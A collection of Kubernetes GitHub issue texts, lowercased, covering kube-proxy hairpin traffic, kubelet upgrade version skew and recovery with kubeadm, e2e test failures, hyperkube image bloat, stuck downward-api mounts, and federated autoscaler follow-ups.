pm utc-4, tim hockin wrote:\r well, the good news is that i think this is easy to fix.\r \r for my test case, the service hashes to nwv5x2332i4ot4t3\r \r iptables -t nat -i kube-xlb-nwv5x2332i4ot4t3 -m addrtype --src-type local -j kube-svc-nwv5x2332i4ot4t3\r iptables -t nat -i kube-xlb-nwv5x2332i4ot4t3 -m addrtype --src-type local -j kube-mark-masq\r \r note these two are in inverse order because i am lazy and used -i.  this will break the \ only local\  property for in-cluster accesses, but i think that is ok since it's explicitly not true for access from pods.\r \r the kube-proxy change here should be easy enough, but the testing is a little involved.\r \r would you do me the good favor of opening a github bug and we can see if we can rally an implementor?\r    \r \r   what you expected to happen  :\r \r my expectation is that it should not matter where my traffic originates, if it is to a globally-routeable public ip it should work.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r configure a load balancer, an ingress, and 2 services. have service 2 talk to service one using a dns name that maps to the load balancer.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:13:03z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.2-gke.1\ , gitcommit:\ 75d2af854b1df023c7ce10a8795b85d3dd1f8d37\ , gittreestate:\ clean\ , builddate:\ 2018-05-10t17:23:18z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r google gke\r \r - os  e.g. from /etc/os-release :\r build_id=10452.89.0\r name=\ container-optimized os\ \r kernel_commit_id=e2e439017d740b3fbe0f4f1a2bc63af84facf535\r google_crash_id=lakitu\r version_id=66\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=66\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r \r - kernel  e.g.  uname -a  :\r linux gke-k8s-default-pool-d0b73bf2-d3ft 4.14.22+  1 smp thu may 10 17:54:42 pdt 2018 x86_64 intel r  xeon r  cpu @ 2.00ghz genuineintel gnu/linux\r \r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r  arguably wai, but i have thoughts about that in the \ what you expected\  section \r \r   what happened  :\r \r on my 1.10.5 cluster  kubeadm, deb package for kubelet , in preparation for upgrading to 1.11.0, i accidentally upgraded the kubelets before the control plane   apt update && apt upgrade  with kubelet version not pinned, results in kubelet+kubeadm 1.11.0 vs. 1.10.5 control plane .\r \r after the kubelet upgrade was completed, all kubelets in my cluster were crashlooping due to a missing  /var/lib/kubelet/config.yaml . this means the control plane was also hard down.\r \r i couldn't execute  kubeadm upgrade apply v1.11.0  to fix the version skew, because it needs the control plane to be up.\r \r i tried downgrading kubelet to v1.10.5, but the changes made to the systemd drop-in unit were permanent, so kubelet was still crashlooping after downgrade.   this is what i believe to be a bug  , the fact that downgrading back to a supported set of component versions did not recover the cluster. in other words, \ rollback did not roll back\ .\r \r the release notes just say that \ there needs to be a config.yaml for kubelet now\ , without specifying what goes in that config, how to construct one  either manually or automatically .\r \r i got lucky, and knew just enough kubeadm to bail myself out. in case someone else with this failure mode finds this bug, the way to fix this that worked for me was the following  i can't promise that it works, but it seems to have worked for me  :\r \r  - on control plane node,  apt install kubelet=1.10.5 ,  kubeadm alpha phase kubelet config write-to-disk --config=/var/lib/kubelet/config.yaml , then  systemctl restart kubelet . this should get kubelet started again, and thus the control plane should come back.\r  - still on control node,  kubeadm upgrade plan v1.11.0  and  kubeadm upgrade apply v1.11.0  to upgrade the control plane.\r  - on damaged worker nodes, run  kubeadm alpha phase kubelet config download  to generate the config.yaml from the in-cluster configmap  which is now reachable since you repaired the control plane . you might need a  systemctl restart kubelet  to defeat the crashloop backoff timer.\r  - cleanup on all nodes, get all kubelets up to 1.11.0.\r \r   what you expected to happen  :\r \r i expected kubernetes to be robust against accidental version skew and out-of-order upgrading. especially given the current state of managing k8s clusters, the situation where you end up upgrading the kubelet before the control plane is unfortunately common.\r \r by \ robust\ , i don't necessarily mean \ should work\ , since this configuration is clearly outside the supported version skew. however, i think it should not _persistently_ break the cluster. in other words, the only necessary corrective action should have been  apt install kubelet=1.10.5  to downgrade back to a supported {control plane}x{kubelet} version set.\r \r at minimum, i expected the debian package to set things up such that a downgrade goes back to a working configuration. even better would be if kubelet 1.11 had crashlooped with a useful message, e.g. \ oh dear, it looks like you did upgrades out of order, because i don't have a config. downgrade back to 1.10 and go upgrade the control plane first!\  that way, people who don't have a rollback reflex as sharp as mine are still guided in the right direction.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r on debian testing  or ubuntu xenial, failure mode should be identical :\r \r  - add the docker and kubernetes apt sources, per official documentation.\r  -  apt install kubelet=1.10.5-00 kubeadm \r  -  kubeadm init  on control plane,  kubeadm join  on worker nodes as appropriate.\r  - verify  kubectl get nodes  works, lists all nodes at 1.10.5.\r  -  apt install kubelet  to upgrade kubelet to 1.11.0-00.\r  - observe  kubectl get nodes  can no longer connect to control plane.  journalctl -u kubelet  shows kubelet crashlooping due to lack of config.yaml.\r  -  apt install kubelet=1.10.5-00  to downgrade kubelet.\r  - observe  kubectl get nodes  still broken,  journalctl -u kubelet  shows same crashloop.\r  - apply manual fixing with individual kubeadm steps, per above\r  - observe  hopefully!  that  kubectl get nodes  works again, and kubelets have started back up.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.5 -> v1.11.0\r - cloud provider or hardware configuration: kubeadm on debian testing  ~= ubuntu xenial for k8s binaries  on bare metal.\r - os  e.g. from /etc/os-release : debian testing  buster \r - kernel  e.g.  uname -a  : linux prod-01 4.16.0-2-amd64  1 smp debian 4.16.12-1  2018-05-27  x86_64 gnu/linux\r - install tools: kubeadm

once we make it possible for people to write new schedulers   11793 , we should write some guidelines/best practices for things people should do when they write a new scheduler. for example - update the rescheduler - back off trying to schedule a pod onto a node if kubelet keeps rejecting the pod from that node - use our standard client code  like pkg/client/cache  - use the library of kubelet predicates   12744  - https://github.com/kubernetes/kubernetes/pull/17197/files r44845537 - etc.  we should probably also write a guide to how to write a new controller, which might have some overlap with a guide on how to write a new scheduler. we already have a very thorough guide to adding new api resources https://github.com/kubernetes/kubernetes/blob/master/docs/devel/api_changes.md  @lavalamp

gci test failing:  kubernetes-e2e-gci-gke-ingress-release-1.3    k8s.io  loadbalancing: l7  feature:ingress   k8s.io  gce  feature: ingress  should conform to ingress spec   https://k8s-testgrid.appspot.com/google-gke gci-gke-ingress-release-1.3

is this a bug report or feature request?    choose one : bug report    kubernetes version    use  kubectl version  : master branch    environment  : -   cloud provider or hardware configuration  :   acer i3 2328, 4g memory -   os    e.g. from /etc/os-release :   ubuntu 16.04 -   kernel    e.g.  uname -a  :   linux bao-acer 4.4.0-42-generic  62-ubuntu smp fri oct 7 23:11:45 utc 2016 x86_64 x86_64 x86_64 gnu/linux -   install tools  : -   others  :    what happened  : i want to contribute code for the project, after clone the source code to local pc, i execute 'make' command. after several seconds, my pc is down, the mouse pointer can not be moved. maybe the cpu or memory resources are not enough. the command 'make test' has the same situation. but if i specified a small folder, make test can execute successfully. i.e. make test waht=pkg/xxx    what you expected to happen  : compile or test slowly but not down.    how to reproduce it    as minimally and precisely as possible : find an old pc with ubuntu and try make.    anything else do we need to know  :

i'm pretty sure that building the hyperkube images takes longer than building kubernetes itself now.  at least a large part of this seems to be that we download and install ~172 extra debian packages several times  once for each arch .  <details>      step 1 : from debian:jessie  ---> ae85c48b369c step 2 : run debian_frontend=noninteractive apt-get update -y     && debian_frontend=noninteractive apt-get -yy -q install     iptables     ebtables     ethtool     ca-certificates     conntrack     util-linux     socat     git     nfs-common     glusterfs-client     cifs-utils     && debian_frontend=noninteractive apt-get upgrade -y     && debian_frontend=noninteractive apt-get autoremove -y     && debian_frontend=noninteractive apt-get clean && rm -rf /var/lib/apt/lists/  /tmp/  /var/tmp/    8d44e7d0-167f-48a2-8d52-c3d7748438c2  ---> running in 70dd6f4a01e7 get:1 http://security.debian.org jessie/updates inrelease  63.1 kb  get:2 http://security.debian.org jessie/updates/main amd64 packages  392 kb  ign http://httpredir.debian.org jessie inrelease get:3 http://httpredir.debian.org jessie-updates inrelease  142 kb  get:4 http://httpredir.debian.org jessie release.gpg  2373 b  get:5 http://httpredir.debian.org jessie release  148 kb  get:6 http://httpredir.debian.org jessie-updates/main amd64 packages  17.6 kb  get:7 http://httpredir.debian.org jessie/main amd64 packages  9064 kb  fetched 9829 kb in 3s  2871 kb/s  reading package lists... reading package lists... building dependency tree... util-linux is already the newest version. the following extra packages will be installed:   attr bsd-mailx cron dbus exim4 exim4-base exim4-config exim4-daemon-light   file fuse git-man glusterfs-common init-system-helpers keyutils kmod   krb5-locales less libaio1 libalgorithm-c3-perl libarchive-extract-perl   libasn1-8-heimdal libavahi-client3 libavahi-common-data libavahi-common3   libbsd0 libcap-ng0 libcgi-fast-perl libcgi-pm-perl libclass-c3-perl   libclass-c3-xs-perl libcpan-meta-perl libcups2 libcurl3-gnutls   libdata-optlist-perl libdata-section-perl libdbus-1-3   libdevmapper-event1.02.1 libedit2 liberror-perl libevent-2.0-5 libexpat1   libfcgi-perl libffi6 libfile-copy-recursive-perl libfuse2 libgdbm3   libglib2.0-0 libglib2.0-data libgmp10 libgnutls-deb0-28 libgssapi-krb5-2   libhcrypto4-heimdal libhdb9-heimdal libheimbase1-heimdal libhogweed2   libhx509-5-heimdal libibverbs1 libidn11 libk5crypto3 libkeyutils1   libkrb5-26-heimdal libkrb5-3 libkrb5support0 libldap-2.4-2 libldb1   liblockfile-bin liblockfile1 liblog-message-perl liblog-message-simple-perl   liblvm2app2.2 libmagic1 libmnl0 libmodule-build-perl   libmodule-pluggable-perl libmodule-signature-perl libmro-compat-perl   libnetfilter-conntrack3 libnettle4 libnfnetlink0 libnfsidmap2 libntdb1   libp11-kit0 libpackage-constants-perl libparams-util-perl libpod-latex-perl   libpod-readme-perl libpopt0 libpython-stdlib libpython2.7   libpython2.7-minimal libpython2.7-stdlib librdmacm1 libregexp-common-perl   libroken18-heimdal librtmp1 libsasl2-2 libsasl2-modules libsasl2-modules-db   libsoftware-license-perl libsqlite3-0 libssh2-1 libssl1.0.0   libsub-exporter-perl libsub-install-perl libtalloc2 libtasn1-6 libtdb1   libterm-ui-perl libtevent0 libtext-soundex-perl libtext-template-perl   libtirpc1 libwbclient0 libwind0-heimdal libwrap0 libx11-6 libx11-data   libxau6 libxcb1 libxdmcp6 libxext6 libxml2 libxmuu1 libxtables10 logrotate   mime-support openssh-client openssl patch perl perl-modules psmisc python   python-crypto python-dnspython python-ldb python-minimal python-ntdb   python-samba python-talloc python-tdb python2.7 python2.7-minimal rename   rpcbind rsync samba samba-common samba-common-bin samba-dsdb-modules   samba-libs samba-vfs-modules sgml-base shared-mime-info tcpd tdb-tools ucf   update-inetd winbind xauth xdg-user-dirs xml-core suggested packages:   smbclient anacron checksecurity dbus-x11 mail-reader eximon4 exim4-doc-html   exim4-doc-info spf-tools-perl swaks gettext-base git-daemon-run   git-daemon-sysvinit git-doc git-el git-email git-gui gitk gitweb git-arch   git-cvs git-mediawiki git-svn cups-common gnutls-bin krb5-doc krb5-user   libsasl2-modules-otp libsasl2-modules-ldap libsasl2-modules-sql   libsasl2-modules-gssapi-mit libsasl2-modules-gssapi-heimdal open-iscsi   watchdog ssh-askpass libpam-ssh keychain monkeysphere ed diffutils-doc   perl-doc libterm-readline-gnu-perl libterm-readline-perl-perl make   libb-lint-perl libcpanplus-dist-build-perl libcpanplus-perl   libfile-checktree-perl libobject-accessor-perl python-doc python-tk   python-crypto-dbg python-crypto-doc python2.7-doc binutils binfmt-support   openssh-server bind9 bind9utils ctdb ldb-tools ntp smbldap-tools   heimdal-clients sgml-base-doc libnss-winbind libpam-winbind debhelper recommended packages:   mailx ssh-client libarchive-tar-perl the following new packages will be installed:   attr bsd-mailx ca-certificates cifs-utils conntrack cron dbus ebtables   ethtool exim4 exim4-base exim4-config exim4-daemon-light file fuse git   git-man glusterfs-client glusterfs-common init-system-helpers iptables   keyutils kmod krb5-locales less libaio1 libalgorithm-c3-perl   libarchive-extract-perl libasn1-8-heimdal libavahi-client3   libavahi-common-data libavahi-common3 libbsd0 libcap-ng0 libcgi-fast-perl   libcgi-pm-perl libclass-c3-perl libclass-c3-xs-perl libcpan-meta-perl   libcups2 libcurl3-gnutls libdata-optlist-perl libdata-section-perl   libdbus-1-3 libdevmapper-event1.02.1 libedit2 liberror-perl libevent-2.0-5   libexpat1 libfcgi-perl libffi6 libfile-copy-recursive-perl libfuse2 libgdbm3   libglib2.0-0 libglib2.0-data libgmp10 libgnutls-deb0-28 libgssapi-krb5-2   libhcrypto4-heimdal libhdb9-heimdal libheimbase1-heimdal libhogweed2   libhx509-5-heimdal libibverbs1 libidn11 libk5crypto3 libkeyutils1   libkrb5-26-heimdal libkrb5-3 libkrb5support0 libldap-2.4-2 libldb1   liblockfile-bin liblockfile1 liblog-message-perl liblog-message-simple-perl   liblvm2app2.2 libmagic1 libmnl0 libmodule-build-perl   libmodule-pluggable-perl libmodule-signature-perl libmro-compat-perl   libnetfilter-conntrack3 libnettle4 libnfnetlink0 libnfsidmap2 libntdb1   libp11-kit0 libpackage-constants-perl libparams-util-perl libpod-latex-perl   libpod-readme-perl libpopt0 libpython-stdlib libpython2.7   libpython2.7-minimal libpython2.7-stdlib librdmacm1 libregexp-common-perl   libroken18-heimdal librtmp1 libsasl2-2 libsasl2-modules libsasl2-modules-db   libsoftware-license-perl libsqlite3-0 libssh2-1 libssl1.0.0   libsub-exporter-perl libsub-install-perl libtalloc2 libtasn1-6 libtdb1   libterm-ui-perl libtevent0 libtext-soundex-perl libtext-template-perl   libtirpc1 libwbclient0 libwind0-heimdal libwrap0 libx11-6 libx11-data   libxau6 libxcb1 libxdmcp6 libxext6 libxml2 libxmuu1 libxtables10 logrotate   mime-support nfs-common openssh-client openssl patch perl perl-modules   psmisc python python-crypto python-dnspython python-ldb python-minimal   python-ntdb python-samba python-talloc python-tdb python2.7   python2.7-minimal rename rpcbind rsync samba samba-common samba-common-bin   samba-dsdb-modules samba-libs samba-vfs-modules sgml-base shared-mime-info   socat tcpd tdb-tools ucf update-inetd winbind xauth xdg-user-dirs xml-core 0 upgraded, 172 newly installed, 0 to remove and 0 not upgraded.      </details>  not sure how to improve this - maybe better caching? do we actually want to install these extra packages? should we use a better base image than  debian:jessie ?  cc @jbeda @luxas

execute : systemctl status  kubelet -l  as below\r > nov 28 17:55:57 kube-78-12.xg01.diditaxi.com kubelet 37577 : e1128 17:55:57.093968   37577 kubelet.go:2596  failed cleaning pods:  remove /var/lib/kubelet/pods/6eaa9b61-978d-11e6-bc6f-a0369f90f4d0/volumes/kubernetes.io~downward-api/podinfo: device or resource busy, remove /var/lib/kubelet/pods/d9df9d0f-b54d-11e6-b4ad-a0369f90f4d0/volumes/kubernetes.io~downward-api/podinfo: device or resource busy \r \r we can see that a lots  mount point as below:\r    \r df -ht\r filesystem     type      size  used avail use% mounted on\r /dev/sda3      ext4       50g  4.9g   42g  11% /\r devtmpfs       devtmpfs  136g     0  136g   0% /dev\r tmpfs          tmpfs     136g     0  136g   0% /dev/shm\r tmpfs          tmpfs     136g  4.5g  131g   4% /run\r tmpfs          tmpfs     136g     0  136g   0% /sys/fs/cgroup\r /dev/sda6      xfs       301g  1.5g  299g   1% /var/log\r /dev/sda5      xfs       120g   37m  120g   1% /tmp\r /dev/sdb1      xfs       2.4t   37g  2.4t   2% /home\r /dev/sda2      ext4      966m  149m  751m  17% /boot\r tmpfs          tmpfs      28g     0   28g   0% /run/user/0\r tmpfs          tmpfs     136g     0  136g   0% /var/lib/kubelet/pods/1318cc1c-8629-11e6-bc6f-a0369f90f4d0/volumes/kubernetes.io~downward-api/podinfo\r tmpfs          tmpfs     136g     0  136g   0% /var/lib/kubelet/pods/fb503576-95e0-11e6-bc6f-a0369f90f4d0/volumes/kubernetes.io~downward-api/podinfo\r tmpfs          tmpfs     136g     0  136g   0% /var/lib/kubelet/pods/6a5608f7-95e2-11e6-bc6f-a0369f90f4d0/volumes/kubernetes.io~downward-api/podinfo\r tmpfs          tmpfs     136g     0  136g   0% /var/lib/kubelet/pods/6eaa9b61-978d-11e6-bc6f-a0369f90f4d0/volumes/kubernetes.io~downward-api/podinfo\r tmpfs          tmpfs     136g     0  136g   0% /var/lib/kubelet/pods/84bc571e-a672-11e6-bc6f-a0369f90f4d0/volumes/kubernetes.io~downward-api/podinfo\r tmpfs          tmpfs      28g     0   28g   0% /run/user/450\r tmpfs          tmpfs     136g     0  136g   0% /var/lib/kubelet/pods/d9df9d0f-b54d-11e6-b4ad-a0369f90f4d0/volumes/kubernetes.io~downward-api/podinfo\r tmpfs          tmpfs     136g     0  136g   0% /var/lib/kubelet/pods/13fdd40b-b54f-11e6-b4ad-a0369f90f4d0/volumes/kubernetes.io~downward-api/podinfo\r    \r \r i need  umount /var/lib/kubelet/pods/fb503576-95e0-11e6-bc6f-a0369f90f4d0/volumes/kubernetes.io~downward-api/podinfo   by myself one by one.\r \r version: v1.3.4

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws/4875/ multiple broken tests:  failed:  k8s.io  kubectl client  k8s.io  kubectl run rc should create an rc from an image  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1120 mar  1 07:13:07.713: pods for rc e2e-test-nginx-rc were not ready /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1113     issues about this test specifically:  28507  29315  35595   failed:  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: udp  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:59 expected error:     < errors.errorstring | 0xc4203fff40>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:550     issues about this test specifically:  35283  36867   failed:  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: udp  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:45 expected error:     < errors.errorstring | 0xc420452fe0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:550     issues about this test specifically:  32830   failed: install_gcloud {pre-setup}                      your current cloud sdk version is: 145.0.0 installing components from version: 145.0.0  +----------------------------------------------------+ |        these components will be installed.         | +-----------------------------+------------+---------+ |             name            |  version   |   size  | +-----------------------------+------------+---------+ | gcloud-deps  linux, x86_64  | 2017.02.21 | 3.9 mib | +-----------------------------+------------+---------+  for the latest full release notes, please visit:   https://cloud.google.com/sdk/release_notes   ============================================================   = creating update staging area                             =   ============================================================   = installing: gcloud-deps  linux, x86_64                   =   ============================================================   = creating backup and activating new installation          =   ============================================================   performing post processing steps... ..............failed. warning: post processing failed.  run  gcloud info --show-log  to view the failures.  update done!  traceback  most recent call last :   file \ //google-cloud-sdk/bin/bootstrapping/install.py\ , line 206, in <module>     main     file \ //google-cloud-sdk/bin/bootstrapping/install.py\ , line 191, in main     sdk_root=bootstrapping.sdk_root, typeerror: updaterc   got an unexpected keyword argument 'completion_update'                   issues about this test specifically:  32669  36416  36842  40203  42227   failed:  k8s.io  kubectl client  k8s.io  update demo should create and stop a replication controller  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:316 mar  1 07:14:00.519: timed out after 300 seconds waiting for name=update-demo pods to reach valid state /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2016     issues about this test specifically:  28565  29072  29390  29659  30072  33941   failed:  k8s.io  disruptioncontroller evictions: too few pods, absolute => should not allow an eviction {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:126 mar  1 07:17:09.755: couldn't delete ns: \ e2e-tests-disruption-ktjr5\ : namespace e2e-tests-disruption-ktjr5 was not deleted with limit: timed out waiting for the condition, pods remaining: 1, pods missing deletion timestamp: 0  &errors.errorstring{s:\ namespace e2e-tests-disruption-ktjr5 was not deleted with limit: timed out waiting for the condition, pods remaining: 1, pods missing deletion timestamp: 0\ }  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:276     issues about this test specifically:  32639   failed: test {e2e.go}      exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048   failed:  k8s.io  services should release nodeports on delete {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1009 expected error:     < errors.errorstring | 0xc420441370>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:3837     issues about this test specifically:  37274   failed:  k8s.io  job should delete a job {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/job.go:108 expected error:     < errors.errorstring | 0xc4203a0320>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/job.go:95     issues about this test specifically:  28003   failed:  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: http  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:52 expected error:     < errors.errorstring | 0xc4203c6310>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:550     issues about this test specifically:  33631  33995  34970   failed:  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: http  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:38 expected error:     < errors.errorstring | 0xc420401020>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:550     issues about this test specifically:  32375   failed:  k8s.io  garbage collector should orphan pods created by rc if delete options say so {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/garbage_collector.go:312 mar  1 07:08:10.679: timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/garbage_collector.go:296       failed:  k8s.io  disruptioncontroller evictions: enough pods, absolute => should allow an eviction {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/disruption.go:187 waiting for pods in namespace \ e2e-tests-disruption-4ddgq\  to be ready expected error:     < errors.errorstring | 0xc4203d2d70>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/disruption.go:257     issues about this test specifically:  32753  34676   failed:  k8s.io  kubectl client  k8s.io  kubectl describe should check if kubectl describe prints relevant information for rc and pods  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:802 mar  1 07:14:48.838: verified 0 of 1 pods , error : timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:299     issues about this test specifically:  28774  31429   failed:  k8s.io  disruptioncontroller evictions: too few pods, replicaset, percentage => should not allow an eviction {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:126 mar  1 07:19:12.281: couldn't delete ns: \ e2e-tests-disruption-smszt\ : namespace e2e-tests-disruption-smszt was not deleted with limit: timed out waiting for the condition, pods remaining: 1, pods missing deletion timestamp: 0  &errors.errorstring{s:\ namespace e2e-tests-disruption-smszt was not deleted with limit: timed out waiting for the condition, pods remaining: 1, pods missing deletion timestamp: 0\ }  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:276     issues about this test specifically:  32668  35405   failed:  k8s.io  pods should support retrieving logs from the container over websockets {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:568 expected error:     < errors.errorstring | 0xc4203ea810>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:81     issues about this test specifically:  30263  previous issues for this suite:  37891

it shows up in the  docs  https://godoc.org/k8s.io/client-go/kubernetes/typed/core/v1 podtemplatesgetter , and actually i can even do  kubectl get podtemplates , but it returns nothing. haven't tried creating one... is this some kind of placeholder for named pod templates?

https://storage.googleapis.com/k8s-gubernator/triage/index.html?text=not%20ready%20nodes\r \r here's one sample:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-ci-master/7117\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:129\r may 16 08:25:54.781: all nodes should be ready after test, not ready nodes: \ , gke-bootstrap-e2e-default-pool-50e8a0eb-xbrm\ \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:349\r

failure cluster  effa7e14eb7f57301847  https://go.k8s.io/triage effa7e14eb7f57301847        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:216 jun 14 19:28:18.045: error waiting for all pods to be running and ready: 1 / 17 pods in namespace \ kube-system\  are not in running and ready state in 10m0s pod                           node phase   grace conditions calico-typha-3071995635-xx8f5      pending        {podscheduled false 0001-01-01 00:00:00 +0000 utc 2017-06-14 19:16:09 -0700 pdt unschedulable no nodes are available that match all of the following predicates:: matchnodeselector  3 .}   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:167           failure cluster statistics: 1 tests failed,    11 jobs failed,    160 builds failed. failure stats cover 1 day time range '16 jun 2017 05:52 utc' to '17 jun 2017 05:52 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | beforesuite | 11 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-alpha-features | 48 |  17 jun 2017 05:26 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-alpha-features/13997  | | ci-kubernetes-e2e-gke-alpha-features | 45 |  17 jun 2017 05:24 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-alpha-features/13590  | | ci-kubernetes-e2e-ubuntu-gke | 39 |  17 jun 2017 05:17 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-ubuntu-gke/2056  |   current status  https://go.k8s.io/triage effa7e14eb7f57301847

the original issuse for feature    federated pod autoscaler    is  here  https://github.com/kubernetes/kubernetes/issues/38974 , and the feature is being tracked  here  https://github.com/kubernetes/features/issues/257 . this issue is to track and follow up pending items from the first phase of implementation especially items chosen to defer in the first phase of implementation  here  https://github.com/kubernetes/kubernetes/pull/45993 .\r \r 1 - make the replica nums offered  both min and max  and in turn increased or reduced from an existing cluster local hpa, configurable. right now the value is kept to a pessimistic low of 1 at a time.\r 2 - optimise the algorithm such that if there are clusters which need the replicas, they can first be taken from those clusters that have capacity to offer more.\r 3 - implement hard limit based min/max preferences per cluster from the user.\r 4 - contemplate usage of weighted distribution of replicas based on the weights applied on per cluster hpas by the user.

